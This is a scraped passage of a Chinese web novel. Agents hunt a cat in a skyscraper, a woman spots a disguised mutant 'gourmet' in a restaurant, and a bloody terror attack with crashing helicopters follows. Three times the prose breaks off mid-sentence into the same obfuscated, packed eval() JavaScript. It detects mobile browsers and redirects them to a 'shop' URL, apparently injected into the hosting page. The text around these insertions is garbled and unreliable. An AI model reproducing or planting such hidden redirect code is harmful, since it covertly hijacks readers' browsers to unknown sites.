“有没有人管——!!” “蓝女士——”女经理别着对讲机,匆匆跑过来,“蓝女士!您消消气,怎么了?您家孩子又丢了?天呐,我这就为您去找,请您稍坐片……” “滚开!”女人吼得面孔扭曲,吓退了女经理。 “知道我是什么人吗?敢这样的态度跟我说话?”女人昂着头,怒视极乐和毒株,“是我,让你们一口血一口肉地活到今天,没有我的施舍,你们就只能像条臭狗在地上恶心地爬,你们非但不知感恩,还对我口出狂言?” 毒株握紧了拳,差点要上去理论。极乐拦住毒株,冷静地解释:“女士,我们没有口出狂言……” 啪! 一个响亮的巴掌甩在极乐脸上,周围轻呼。 女经理吓得捂嘴。 “我让你说话了吗?你这不知羞耻的东西,臭狗就该有臭狗的样子摇尾巴求我乞怜,我告诉你,我老公一句话就能让你们去喝西北风,你以为GS总部有多大能耐?还不是二十四室说撤除就撤除,就你这种货色也敢给我摆脸?” “……” 被骂得体无完肤。 任务也被迫中断。 今晚的运气也太衰了点。 极乐抬起右手的手背,擦掉唇角被扇出的血,而另一只手,正使出全部力量狠狠按着身后早已暴怒的毒株。 “你再敢说一句……”毒株愤怒得亮出尖牙。 “女士!”极乐立马盖掉他的声音,红肿的脸露出得体的微笑,“我知道珊娜丢了,您非常心急,我会尽快为您找到它,请您原谅我之前的无礼。” 女人再次拢紧披肩,呵地笑了。 “是嘛,这就对了。” 她噙着高傲的笑,伸手在极乐通红的脸颊上不轻不重又拍打两下:“狗呢,就是要打了,才知道痛。” 毒株向对讲机汇报:“刺舟,人上去了。” “收到。你们怎么了?” “出了点事,在处理。” 女经理告诉极乐,这个女的是紫光楼98楼住户,她的猫经常乱跑,但通常没过多久就自己溜达回家了,他们每次都是在这女的家门口找到。 “蓝女士丈夫是泛灵科技的老板,GS许多先进设备都是他家产的,”女经理翻出那只猫的照片,“长这样,好认的,你们去楼下先看看吧。” “好,谢谢。” “不客气,”女经理递给她一个冰袋,“你快敷敷吧。” 极乐的脸消肿不会慢,但还是接过了女经理的冰袋。毒株问:“泛灵老总怎么娶了这种女人?” 女经理压低声量:“婚前也没想到是这么个‘空有皮囊’的人……”她瞧了瞧四下,说,“正闹离婚呢,咱不得罪,也不必讨好……” 毒株挑眉:“懂了。” “走吧毒小猪,”极乐敷着冰袋,两眼无神,“找猫咯,找猫总比盯人来得有意思。” 他们乘观光电梯下去。轿厢内安静无人,他们包揽了这幕夜色。毒株终于忍无可忍一把抓过极乐:“为什么拦我?” 极乐身上没有往日那种嚣张劲,低着头说:“毒株,不管蓝女士和泛灵老总感情正浓还是婚姻破裂,在当时的情状下,让她舒心是最好的选择。” “所以让我眼睁睁看着你被打?” 极乐微微眯眼,凑近他:“如果被打的是刺舟呢?” “那我也要揍回去,她凭什么打刺舟!” “哈哈哈哈——”极乐推开他,“你好可爱,比珊娜还可爱。” “别拿我跟她的猫比。” “稚子无辜,”极乐望着夜色,笑意深达眼底,“找到珊娜,我要摸它十分钟,就当出气了。” 邓烟雨喝完橙汁,出去找庆威凤和蔡蔡。她们心情似乎好多了,正在聊当红明星的八卦。 “烟雨你去哪了,”蔡蔡脸颊红红的,“我刚刚要到了辛翰的签名!还和他合影了!他就坐在那一桌!天呐,我太幸福了!” 邓烟雨坐下,看着面前的青口贝,突然有了食欲:“影帝也来了?” “你猜和影帝一桌的是谁?”庆威凤晃着红酒,倾身和她说了三个字。 邓烟雨两眼放光:“他的绯闻女友?” 庆威凤摇摇手指:“堂而皇之地带在身边,我看是想昭告天下了。” 蔡蔡都没在听,捧着签名板,一口一个“辛翰”地痴笑抚摸。 “没想到餐厅会准备签名板,蔡蔡这次是情场失意赌场得意了。” “赌场?”邓烟雨吃吃喝喝起来,“蔡蔡赌钱了?” 庆威凤一摆手:“饭圈就是个隐形赌场,你能赌你的爱豆一辈子安分守己洁身自好,不偷一分税不开一次房吗?” 邓烟雨点头:“嗯,有道理,还好我没爱豆。” 庆威凤点头:“还好我爱豆死了。” 邓烟雨:“……” “对了,刚我哥也去喝酒,你们碰着了吧?” 邓烟雨吃着白烩小牛肉,镇定地嗯了声。 灯烛摇曳,两道朦胧的倩影映在壁画之上。庆威凤双手相叠,轻轻托住下巴:“烟雨,我哥是不是对你有意思啊?” 她嚼着牛肉,沉默半晌,放下刀叉叹气:“我被吓到了。” “那就是真的了!”庆威凤欣喜地握拳。 邓烟雨一筹莫展:“威凤,我有男朋友,你哥也知道,他为什么要说这些。” “不要烦,公平竞争,真的没有你想得那么丧尽天良,”庆威凤说,“我虽然不太支持,但我觉得我哥这样做无可厚非,毕竟公冶警官和我哥不认识,他们都有权利向你示爱,除非他俩是好哥们,从小玩到大的亲兄弟,那就有点狗血了,我绝对无法容忍抢闺蜜男朋友或者兄弟女朋友的人,道德感简直太差了。” 邓烟雨听得聚精会神:“去年不是出了部抢闺蜜男朋友的电视剧吗,主演就是辛翰绯闻女友,她人缘好,和男主在一起后天天炒cp,男主也是,明明是他从中作梗,拆散了女主女二的友谊,还得了便宜卖乖,相反女二只是拧巴了一点,就被攻击得好惨。” “女二原生家庭不好,导致性格有缺陷,就算和男主分分合合,那也是曾经在一起过的人,女主和男主怎么好意思?”庆威凤嗤笑,“这是我的底线,我可以抢任何人的男朋友,但绝对要和朋友的男友保持距离,烟雨,你说辛翰怎么看上她了?我真不喜欢她。” “她现实生活中也是这样的?” “你以为辛翰为什么跟自己老婆离婚,”庆威凤怔了怔,说,“当然,我发誓,我哥绝对不是男小三,他只是向你表露了自己心意,想当你备胎罢了,你就当他是只舔狗,听过就忘了吧,别内耗。” 邓烟雨原本还在烦恼,这下多少有点心疼了:“他真是你亲哥?” “亲,百分百亲。” 邓烟雨回头:“他不在这里了?” 庆威凤拿起酒:“他今晚不是来玩的,来这也是专程为了找你。” 邓烟雨默然不语,继续用餐,蔡蔡还沉迷在和辛翰影帝的完美合影中,如痴如醉地笑。 因为蔡蔡恐高,她们这桌离窗户比较远,但邓烟雨依然能望见那绵延如山河的夜景,飞流直下的珠瀑,这个高度,仅凭一眼就能掌握首都的繁华流向。 太高了,她想离开了。 也想他了。 酒杯已见底,燕尾服侍者为她们这一桌倒酒,红酒从冰桶中取出的声音震醒了邓烟雨。 侍者握着酒瓶,笔直地伫立,一闪而过的手指和指甲片像莹白的猫眼石。 “谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庆威凤依着蔡蔡,也说:“等等去空中花园吧,商场就算了。” “……” 别怕,没事的,还不能确定,不能引起慌乱,冷静下来,冷静下来。 邓烟雨心中默念,撑起笑容:“我想上厕所,离开一下。” 她特意把包放在椅子上,起身往外走。 侍者恭敬垂首,朝她阴冷地一笑:“洗手间出门右转。” “谢谢。”邓烟雨礼貌回应,不紧不慢向出口走去,左侧是通往电梯的方向。 邓烟雨一眼也没看,身影隐没于右侧。 她快步走进厕所,确认没有人,拨通了公冶渡莲的电话。 “哥哥——你有电话——” 邻座的小男孩退出游戏,把手机举到公冶面前,公冶放下杂志,从小男孩手中接过手机,看也没看就划了一下:“喂?” “阿冶是我,”邓烟雨靠着墙,语气焦灼,“你现在有空吗?我、我要跟你说件事。” 小男孩叽叽喳喳拉着公冶的手臂,也想听,公冶示意他坐下,小男孩虽然不太情愿但还是乖乖坐下了。 “有,”公冶说,“怎么了?” “我在紫光楼150楼的花园瀑布餐厅,”邓烟雨报警似的说道,“我怀疑这层有变异的美食家,就是之前除夕夜地下乐园带编号的变异体。” 那边没有他的声音,只传来小孩的吵闹声。 “阿冶?”邓烟雨急得音调拔高。 “你坐好我马上给你,别吵了,你喊这么响会打扰大家的。”公冶把手机举高不给他,小男孩嘟着嘴再次坐下,欠揍地推椅背,故意要气后面姐姐。 他父母抱着个小婴儿,坐在过道另一边,管都不管。 “再他妈推打死你!!”后座的女生容忍了一晚上,气得要死,一脚踹向小男孩的座椅,小男孩哇地哭出了声。 “哎呀你干嘛啊,弄我孩子干嘛!” “这时候知道跳出来了?我当他爹妈都死绝了呢!” “你这小姑娘怎么嘴巴不干不净的!” 那个当妈的居然冲公冶说:“你把手机还给孩子呀!” 女生气得当场扯断了耳机线:“这你孩子他孩子?!你不知道管,让一陌生人给你管孩子?!你脑壳里装的都是屎吧!!” 他们彻底吵了起来,列车员赶紧过来制止,公冶受不了了,靠向窗:“小雨你说吧,我能听见。” “噢……你,你那儿确定没事?” “没事,你说。” 邓烟雨深吸一口气:“我在紫光楼150楼,花园瀑布餐厅,我这里——” 电话那头的争吵声戛然而止。 “……” “……” “喂?”邓烟雨双手抱住手机,“喂?喂喂??阿冶??” 她看向手机屏幕,对方已挂断,她急忙再打回去—— 对面关机了。 公冶愣愣看着黑屏的手机,按了几下,没反应。 没电了?! 那熊孩子玩了什么能把他手机玩没电啊! 小男孩父母骂起人来特没素质,已经有乘客参战帮女生骂回去了,公冶向前面的乘客借充电器,结果问了一圈要么没有,要么都在使用。 他起身去找其他列车员。 “有的,您稍等。” 列车员找出一根充电线给他,他回位子,往插座一插。 手机没丁点反应。 “哥哥,这根线是坏的。”小男孩哭够了,哑着声指了指充电线的头,线芯老旧得都翻了出来。 再去换,列车员把自己的数据线借给他,没想到接口对不上。 “先生,再有十七分钟就到歌华南站了,到站后您可以借充电宝。” 他回去后,女生已经不在座位,小男孩被他父母抱在腿上,他这排总算得到了一时安宁。 即便如此,公冶心里依然有些不安。 他不知道邓烟雨那边发生了什么。 但总感觉,不是好事。 107. 暴风雨至 邓烟雨脚疼。 站久了,再美的高跟鞋都和刑具无差。 她累得贴墙蹲下,又打了三遍电话,依然提示对面关机。时间紧迫,她决定去楼下找极乐。 来到餐厅入口,邓烟雨还在想怎么顺利通过且不被里面的美食家发现,正好来了几名外国商客,侍者在引他们往里走。 在他们走到入口的位置时,邓烟雨利用外国人高大的身形当掩体,猫腰从他们身后一闪而过。 迎面推来一辆餐车,差点相撞,年轻的服务生急忙要道歉,邓烟雨朝他竖起食指嘘了声,服务生愣了愣,也就乖觉地点头不说话了。 邓烟雨踩着细细的高跟,忍着脚底的疼痛,一路小跑奔向贵宾观光电梯。 108楼,宴会厅层。 这里一切如旧,歌舞升平,肖邦夜曲轻缓地飘响于整座大厅。邓烟雨一出电梯就争分夺秒寻找极乐和毒株的身影,她穿过笑声错落的休息区、提琴声洋溢的室外露台、专聊八卦的洗手间,甚至吸烟室都去了,两圈下来一无所获。 她在大厅徘徊,看见一个穿淡蓝套装的女人,在指挥底下的员工,像这里的负责人。 “你好,”邓烟雨笑着向她走近,礼貌地询问,“请问你知道这层执勤的公美去哪里了吗?” 女经理扶了扶眼镜:“噢,我记得,他们去给蓝女士找猫了。” 邓烟雨笑容凝固在嘴角:“找……猫?” 女经理不好意思地苦笑:“一两句也说不清楚,您和他们认识?” “是啊,我……”邓烟雨斟酌一番后才说,“我有急事找他们。” “那不巧,他们已经走了,应该是去了98楼,”女经理问,“您是双紫星的住户吗,81楼至146楼基本都是高层住宅,进出不太方便。” 言下之意是她没买双紫星的房子,住宅区不能进。 “我有卡。” 邓烟雨从手机壳里抠出祁宴给的黑卡,女经理见了此卡眼前顿亮,露出标准的服务笑容:“不好意思女士,我不知道您是今晚的贵客,如果您要找那两名公美,我会请一位我们的工作人员全程陪同您寻找。” 邓烟雨轻叹:“好,谢谢,我很急,麻烦能……尽快吗?” “当然可以,不过我需要在这边盯着布置,我找人陪您,稍等,”女经理和对讲机那头沟通完又问邓烟雨,“您贵姓?” “邓。” “邓女士,您有那两名公美的联系方式吗,可以先联系一下,我看他们是带手机的。” “我联系了,他们没回我。” 很快来了位穿西装的中年男人,气质面貌尚佳,他向邓烟雨伸手:“晚上好邓女士,我是紫光楼物业管理部总经理陈湛军,您是要去高层住宅区吗?” “是的。” 邓烟雨握完手有点小紧张,她以为的陪同人员只是单纯的陪同人员,没想到祁宴的卡如此有分量。 他们边说边向电梯走去:“您是要找GS总部的公美?” “对,我听那位经理姐姐说他们在帮蓝女士找猫。” “是的,”陈经理惭愧一笑,“蓝女士爱宠心切,指定要他们找,实在推脱不了。” 邓烟雨不禁心中腹诽——让任务在身的公美找小猫,她是怎么想的?要是大楼有危险,她向猫借九条命都抵不清。 不过转念一想,既然极乐毒株去向不定,暂时联系不上,那么向其他公美转达也行得通啊,何必一棵树上吊死。 “陈经理,您知道其他公美在哪执勤吗?” 陈湛军划着平板,说:“GS总部派给紫光楼两支小组,共计七名公美,目前配备是商业区三名,住宅区两名,宴会厅及顶层两名,您要找的两名公美,代号极乐、毒株,他们原先是在宴会厅执勤,却因小猫事件去了楼下,这样住宅区就有四名公美待命,不符合规定了。我想他们内部应该有消化交接,只是还没同步到我这里。” 邓烟雨点头应答:“谢谢陈经理讲解这些。” 他一笑:“应该的。小心脚下,这里地毯比较厚。” 高层住宅区尤其安静,环境雅致,98楼没有多少人住,陈湛军带着邓烟雨在这一层找了一圈没有遇到人。 “看来他们不在这。” 陈湛军说着,和自己的人打起了电话。 “喂?总部公美的动向共享给我,80楼是哪两个?” “80楼的公美不在吗?” 陈湛军低头看向邓烟雨:“刺舟和枫走,您认识吗?” “有认识的,找他们也行。” “他们……”陈湛军听着电话那头汇报,皱了眉,把电话拿开说,“他们去顶层了,应该已经和极乐毒株换岗。极乐毒株确定在住宅层,具体第几层,我的人也不清楚,他们为了找猫在频繁跑动。” 邓烟雨急得咬唇。 “抱歉邓女士,我会尽快和他们取得联系,告知您确切位置,”陈湛军问到了最方便的一组,“代号野旷的公美,是总部五组组长,他带着两名组员在商业区67楼执勤,如果你觉得合适,我即刻带您去找他。” 陈湛军垂眸思考,再说:“或者……您是私事?” “不是私事,”邓烟雨觉得不能再拖延下去,“陈经理不好意思,我接下来说的话可能会引起恐慌,但请您仔细听。” 陈湛军微微一惊,随即严肃地开口:“您尽管说。” “我在150楼花园瀑布餐厅发现了疑似异变的美食家,他打扮成服务生的模样在餐厅自由出入,”邓烟雨抬头,“陈经理,双紫星员工人数上万,请问其中是否有雇用美食家?” “不,”陈湛军面孔紧绷,“安全起见,我们是不会聘用美食家的,除非祁先生有特别要求。邓女士,您为何觉得餐厅有美食家员工?我们在招聘录用期间会严格筛查人员的身份信息,至少从面部就可辨别此人的危险性。” “那个美食家戴了美瞳,”邓烟雨说,“颈侧还有一串黑色编号纹身,我怀疑他是混进来的。” 陈湛军深吸:“您这是质疑我们的安保系统?” “对不起,我觉得贵楼安保系统非常全面,但不怕一万就怕万一。” “戴不戴美瞳,一时半刻或许难以发现,而让您坚信他是美食家的其中一点是他颈侧有串黑色编号纹身,还请邓女士给出一个合理的解释。” 邓烟雨迟疑了。 那人颈侧的编号,和卡萨乐园爆炸案密切相关,可当时乐园爆炸是用设施故障以及员工操作不当的理由蒙混过去了,一般人并不清楚内情。 “对不起,个中情由,我需要向GS总部公美说明。” “我明白了。” 陈湛军这一声,让邓烟雨稍感意外。 他操作着平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579360|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板,似乎在发送信息:“我会即刻联系紫光楼执勤公美,必要的话我们会向GS总部电联,感谢您没有直接向GS报警,一旦报警确实会引起客人的慌乱。” 邓烟雨如释重负地松了口气:“谢谢陈经理的理解。” 陈湛军不是个刚愎的人,会适时听取意见,他没有将邓烟雨的话当儿戏,宁可白忙一场也要查清楚。 “如您所言,如果花园瀑布餐厅确有美食家混入,而且是您口中的‘疑似异变的美食家’,那么150楼将不再安全。” “需要紧急撤离那一层的客人吗?” “这样恐怕会打草惊蛇,我已派人调动紫光楼执勤的公美,他们有应对的经验,当然,我刚也下了通知,让安保队前往150楼了。” “我见识过带编号的美食家暴起伤人的惨状,请陈经理务必重视,我的朋友还在餐厅里。” “我会的,今晚是双紫星开幕盛典,保证客人的安全是我的职责,”陈湛军眉间郁结,“在这久留也不合适,我要和安保队一同上去查看,不如邓女士先回宴会厅稍作等待?” “我……”邓烟雨说,“我能跟您一起上去吗?” 陈湛军惊讶:“那极有可能是异变的美食家,您不害怕?” “陈经理害怕吗?” “害怕,但是害怕也要上去,这是我的工作。” “我也是,也害怕,但我朋友还在那,我不能自己就这么跑了。” 陈湛军望着眼前这个明明怕得在发抖却还要迎难而上的女孩,竟从她身上找到了一丝自己女儿的影子。 手机铃声响起,陈湛军接通:“喂?” 邓烟雨也看了看手机,这才发现蔡蔡和庆威凤发来许多消息,还有一通庆威凤的未接来电,她赶紧拨回去。 “烟雨,你去哪啦?” 对面传来蔡蔡的声音。 “蔡蔡,你在用威凤的手机?” “嗯啊,你一直不回来,她去找你了,手机忘在桌上了。” “去找我了?”邓烟雨一愣,“威凤去厕所找我了?” “厕所没找见你呀,她问服务生有没有看见你,说你不见了,服务生说你可能下去了,她就嘀嘀咕咕下来找你了,你真的在下面吗?” 邓烟雨瞪大了双眸:“服务生说我下去了?哪个服务生?” “就给我们倒酒的那个呀。” “喂?烟雨?你怎么不说话?话说你在几楼啊?怎么吃着饭就下去了?你真去商场了?” 邓烟雨冰凉的手握紧手机:“蔡蔡,你,你现在一个人?” “是呀,我在等你们回来一起去空中花啊啊啊!啊啊啊啊血!杀人了!!不要!烟雨救我!救——不要啊啊啊——!!” 惊惧的尖叫,跌碎的花瓶,桌椅歪倒,人群混乱逃窜,金器重物砸地,无数噩耗般的声音从手机那端清晰传入邓烟雨的耳朵。 “蔡蔡。” 邓烟雨哆嗦的嘴唇一张一合,呼吸不畅,发音困难。 “蔡、蔡?” 随后,电话被挂断。 “蔡蔡!!” “蔡蔡!!!” 邓烟雨吼得撕心裂肺,转头看向陈湛军:“陈经理!我朋友——” 陈湛军面色冷峻得可怕,也已放下手机:“邓女士,刚接到消息……” “150楼出事了。” 108. 双紫星浩劫 “山楂,石榴,草莓,覆盆子。” “大丽花,虞美人,阿童木剑兰,黑宝石百合。” “和今晚的落日。” “你猜,它们的相同点,是什么?” 盘旋的直升机锁定紫光楼,匀速朝玻璃幕墙平行移近,驾驶座的男人面部有道长长的刀疤,这是他最爱的疤痕,十年了,也没有让其愈合。 “GH-41,呼叫GH-41,花瓣雨环节已结束,可以返航,收到回答。” “呼叫GH-41收到回答。” “呼叫GH-41,声太……杂了,你那发生了什么,收到回答!” “相同点?”男人切断沾满鲜血的通讯,向后一靠,阴绿色的眼珠越过一具具堆叠的飞行员尸体,大声报出答案,“都能吃?” 双马尾女孩两腿跨开,拎起重枪,瞄准花瓣雨中的150楼,舔了口唇边快干的人血。 “不,”她盯着一个个缩在餐桌下、椅背后的颤栗发抖的上流人士,咧开了樱桃小嘴,“它们,都红得像血。” 恐怖的火力从黑洞洞的枪口喷射而出,像一出新型的烟花秀,金光灿烂地裹挟着灼皮蚀骨的杀伤力,疯狂扫向玻璃幕墙。 嘭!嘭!嘭!嘭! 被秒成血雨的鲜红花瓣,整排爆炸连翻飞起的窗户碎片,客人来不及出喉的哭喊尖叫,机枪一浪浪的火焰冲击,都混淆在女孩癫狂兴奋的笑声中了。 “一个,两个……四个!八个!哈哈哈哈哈——!” 弹壳丁零当啷散落一地。 惊人的后坐力之下,女孩站得稳稳当当,没有偏移半步。 朝南一片的落地窗全部碎光,楼间风凌乱闯进,刮得餐厅遍地狼藉。刀疤男等女孩玩够了,收拾好装备,弯腰来到后座:“桃桃,走。” 他们在直升机坠落前一刻,纵身跃进花园瀑布餐厅。 “哟,495,”刀疤男放下金属箱,捶了他的肩,“干得不错。” 495手握染血的烛台,地上倒着几个头部流血的精英男士和大楼安保。 “说好七点,”495语气无波无澜,像潭死水,“晚了一个半钟……” “没杀女人?你挺绅士嘛,495,”刀疤男拍掉肩膀的红玫瑰花瓣,粗声打断了他,“感谢这场花瓣雨吧,没让我们迟到两小时。” 495不语,扔掉烛台。 桃桃推开金发女人的头颅,拿了颗盘中的樱桃,沾过奶油咬入嘴中。奶油急速伤害身体,如同中毒麻痹的快感,让她一下子面色潮红。 刀疤男环顾着:“桃桃,你搞死太多了,江爷要生气的。” 495突然开口:“江爷说,开胃菜,可以随便桃桃享用。” “真的吗!江爷对我真好!” “工作了,”刀疤男打开箱子,里面低温保存着几十支安瓿瓶,他徒手掰碎一个,抽取瓶内深紫色的液体,扭头问495,“你精通计算机?” “入侵双紫星系统,做得到吧?” 495沉静而立,黑瞳死寂。 少顷,他阴森的面孔浮出一丝淡淡的笑。 “妈妈,妈妈。” 街上,有个小孩伸手指着天空,大大的眼中满是好奇:“太阳掉下来了。” 女人循着儿子所指,望向远方,一架燃烧的直升机像颗火球从九百米高空直直坠下,仿佛上帝信手丢弃的一粒火种,在人间盛大地烧开了。 爆炸的火浪腾起的瞬间,这座半隐于夜雾中的地标式摩天双厦,被切切实实映亮了一秒。 “系统警告:GH-41疑似坠毁。” “重复,重复,系统警告:GH-41疑似坠毁。” “系统警告:GH-39疑似坠毁。” “系统警告:GH-38疑似坠毁。” “怎么回事?!”双紫星盛典公关总监霍兴梗着脖子暴怒地质问,“直升机为什么都失!控!了?!谁能来告诉我发生了什么!!” 欢迎—— 伴随着纯净的系统女音,监控中心大门丝滑敞开,进来一个陈湛军,跑得领带都歪了,扶着门厉声嘶吼:“美袭!是美袭!联络GS总部!快!!” 双紫星大楼前烈火熊熊,死伤无数。 被三台直升机波及砸死的都是些来此地拍照打卡的群众、直播的网红、倒霉经过的路人,也死了不少媒体工作者。 人就在面前,被大火活活烧死,看热闹的魂都吓没了,一声也叫不出来。 “还愣着干什么!快跑啊!直升机掉下来了!要砸死人的!” “着火了!快打火警!我手机不见了!先打火警拜托啊!!” 一时间,半公里范围内引起了堵车,人群四散奔逃,有眼睛受伤的大叫着跑到了马路上,引发了车祸。 “喷泉——喷泉有水!!” 不知谁嚎了一嗓,好几个屁股着火的不管不顾跳进了宽敞的纪念大喷泉。 双紫星大楼前惨祸连连,人仰马翻,彻底乱套了。 与此同时,123楼某户高层住宅内,也燃起了淡淡的火药味。 “亲爱的,你到底要怎么样才肯相信我,我真的和她没关系。” 男人跪在地上捧着可爱小熊和钻石项链,请求沙发上红裙女子的原谅。 红裙女子板着脸:“带着你的狗熊和臭石头滚!” “宝贝我求求你了,好歹看一眼再生气吧,再说了,你气就气我吧,这花瓣雨花了我老多钱呢,宝贝你行行好,看一秒也成啊。”男人委屈地瞅向被严丝合缝拉拢的窗帘,深深叹了口气。 “什么花瓣雨花瓣云的,你给你那个小贱人去看吧。” “我和她真没什么。” “我都看见你摸她大腿了!” 男人脱口而出:“那她的腿能跟你的比吗!” 一个清脆的耳光抡在了他脸上。 “你还说一生一世爱我,说我穿红色最好看,那个小贱人也穿的红色,你对每个女生都这么说吧!” “我发誓我没有,我只夸过你,我的心,也只为你震动过,”男人一脸认真地蹲在她面前,替她拭泪,“宝贝你知道吗,双紫星今晚只下两场花瓣,第一场是为了庆祝开幕盛典,而第二场,就是在祝愿你我的爱情,永不落幕……” 女人抽噎:“你不要拿紫露草那种小破花来糊弄我。” “那当然不可能!我用的可都是名贵的大大大红玫瑰!不信你看——”男人跑过去一把拉开窗帘,女人的抽噎戛然而止。 她瞪着前方,哆嗦地抬起手指,瞠目结舌。 “宝贝,是不是超级惊喜?是不是空前绝后?” 男人微笑着转过头,窗玻璃外,一架失控的直升机正高速旋转着,朝他们贴脸撞来—— “啊啊啊啊啊啊啊——!!!” 嘭——! “警告……警告……” “系统警告:GH-40疑似坠毁。” 这次的警告带了个表情,是有小獠牙的笑脸。 霍兴捶胸顿足,快呼吸不过来了:“是谁,是谁在攻击双紫星系统!” “霍总监,眼下首要任务是应该先确保祁先生的安全!”陈湛军说,“安保队队长带人前往150楼后杳无音讯,我认为那是美袭第一案发地点!” “美?袭——?”霍兴揪起他的衣襟,五官扭曲,“坠毁四架直升机,你就管这叫美袭?你是想惊动所有宾客吗!” “真是美袭!餐厅有位黑卡客人下来和我说的!再不应对就晚了!” “黑、黑卡?”霍兴松开陈湛军,头脑刮起风暴,“餐厅、餐厅的情况,餐厅什么情况?” “安保队失联了,目前不清楚伤亡程度,餐厅的客人估计已……” “不可能——!怎么会是美袭?!怎么可能有美食家混入双紫星盛典?!他们想干什么!”霍兴站不稳,扶住桌子,“快——公美呢?!” “紫光楼执勤的那帮公美!都去哪里了——?!” 黑暗中,极乐努力伸长手臂,去够那根横梁。 横梁上,那只蓝猫好整以暇揣着手,琥珀瞳一眨不眨瞅着极乐。 “小……东…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579361|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西……”极乐各方面都挺狰狞,“你……他……娘……跑得真够……高的……” 毒株在下面,一只手拉着她的腿,另一只手抱着柱子。 他们此刻在商业区,79楼的贵宾音乐厅。 据说音乐厅特意留到晚上十点亮灯,这会儿暂时没人。这层北面的外厅设计了对称的巨型梁柱,猫咪跑到中间的横梁了,下面是通往一楼的万丈深渊。 “我到现在都想不通,”毒株说,“它怎么会跑来这。” “坐电梯……”极乐恶狠狠地向它探出恶爪,“它绝逼会坐……电梯……” 猫咪打起了哈欠,在极乐快要碰到它之际,撅臀拉了个伸,扭头要走。 “啊啊啊啊臭喵!” 极乐恨得不行,索性往前一扑,薅住它尾巴。 “喵啊!” 猫咪大叫,极乐抱住它往下坠去,整个人蹦极似的荡了一下,倒挂在空中。 猫咪伸出爪子抓挠极乐,毒株也伸出爪子,死死抠着倾斜设计的大圆柱子。 “快点毒小猪,”极乐一边倒挂,一边催促,“我耳麦不停闪,肯定是任务有变了。” “我草你娘的……”毒株骂道,使出吃奶的劲,把一人一猫甩了上去。 他们席地而坐,累得喘气,极乐把猫扔给毒株,戳亮耳机:“指示。” “极乐,你们在哪?” “熊队啊,我们在……79楼,找猫呢。” “找猫?那个蓝女士的猫?” “对。” “找到了吗?” “找到了,准备……” “别说话,听着,双紫星大楼前刚刚坠毁了三架直升机,还有一架直接撞进了123楼,目前楼里已起火,消防正在赶来,我们接到双紫星物业管理部陈总经理的消息,有位姓邓的女士在150楼餐厅发现一名乔装打扮成服务生的疑似异变的美食家,颈侧有黑色编号纹身,我要求你们立即前往支援。” 极乐只沉默了三秒,说:“姓邓,应该是小雨,她有黑卡能去餐厅,野旷组长呢?” 毒株也接通了野旷的电话,和极乐同步了信息:“双紫星安保瘫痪,野旷组长在疏散商业区的客人,楼下全乱了,星坠和雾落已经前往餐厅。” 熊小滚说:“楼下有野旷,你们别管。” 毒株起身:“走,去和星坠雾落汇合。” “你们不必去找星坠和雾落,”熊小滚对极乐说,“去顶层。” “等等毒株,老大让我们去顶层,”极乐拉住毒株,“顶层有刺舟和枫走在把控,难道……” “我联系不到他们。”熊小滚开门下车,点点火星子被风吹了过来,从他的白衬衫前忽闪忽灭地飘远。 四周充斥着叫喊、鸣笛,红蓝警灯跳跃闪烁,一辆辆消防车疾驰而来,他仰头遥望着两座紫气隐秘的高楼,大火浓烟在源源不断地吞噬它。 “也联系不到蒋支队和庄鹭。” “极乐,顶层恐怕已经生变。” “今晚可能不是简单的刑事案件,你们要做好一战到底的心理准备,他们用四架直升机给我们下马威,我怀疑这次是……” 耳麦紫光轻微闪烁,极乐翠绿的眼眸翻腾着暗光:“美恐吗……” 毒株听到“美恐”,本能地压低了气息。 由美食家集结策划的恐怖活动,可不是闹着玩的。 祁泰,你到底惹了什么人。 切断通讯后,极乐对毒株说:“楼上不安全,你送珊娜下去。” 毒株皱眉:“让我这时候带猫一走了之,你呢?” “我去顶楼。” “我不可能让你一个人去。” “毒株,这只猫的命比我们的命重要,就算今晚双紫星发生了美恐袭击,也是上面的人先被救出,蓝女士会安然无虞,它也必须安然无虞。” 毒株没有松开她。 “毒株,这是命令,是作为前辈的我,给你这位后辈的命令。” 极乐明亮坚韧的眸子直视着他,一字一顿:“送猫下去,再来找我。” 109. 双紫星浩劫 108楼宴会厅层。 大厅换了一首曲子,是约翰·施特劳斯二世的《蓝色多瑙河》,有位女客人不喜欢听,要求换成弗朗茨·李斯特的《爱之梦》。 其余人皆眉头紧锁,坐立不安。 “我和先生刚刚在外面,”一位女士握着另一位女士的手,说,“我简直不敢相信自己的眼睛,那可是一架直升机呀,就在我头顶上方……” “到底怎么一回事,是撞到鸟了,还是故障了,你们谁能给我一个解释,我酒都喝不下了。” “是啊,”有人附和,“下面情况到底严不严重?” “走吧走吧,”有个男的站了起来,和他夫人说,“待在这也没意思,我们回房。” “回楼下干嘛,直升机掉下去嘞,都在门口起火嘞,下面不安全。” “下面不安全,我们这儿就安全了吗?等等大火要是包围了一楼,我们可就出不去了。” 